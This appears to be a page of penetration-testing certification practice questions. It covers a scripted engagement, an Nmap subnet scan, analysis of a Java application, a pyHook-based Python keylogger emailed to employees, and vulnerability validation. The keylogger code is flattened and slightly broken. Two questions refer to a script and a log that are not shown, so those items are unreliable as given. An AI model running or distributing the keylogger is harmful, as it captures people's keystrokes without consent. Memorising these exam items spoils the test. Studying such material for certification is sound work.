Question 6

A penetration tester wrote the following script to be used in one engagement:

Which of the following actions will this script perform?
  • Question 7

    A penetration tester is conducting reconnaissance on a target network. The tester runs the following Nmap command: nmap -sv -sT -p - 192.168.1.0/24. Which of the following describes the most likely purpose of this scan?
  • Question 8

    A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

    Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?
  • Question 9

    During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:
    import pyHook, sys, logging, pythoncom, datetime
    log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):
    logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = KbrdEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() Which of the following is the intended effect of this script?
  • Question 10

    A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.
    Which of the following is the BEST way to ensure this is a true positive?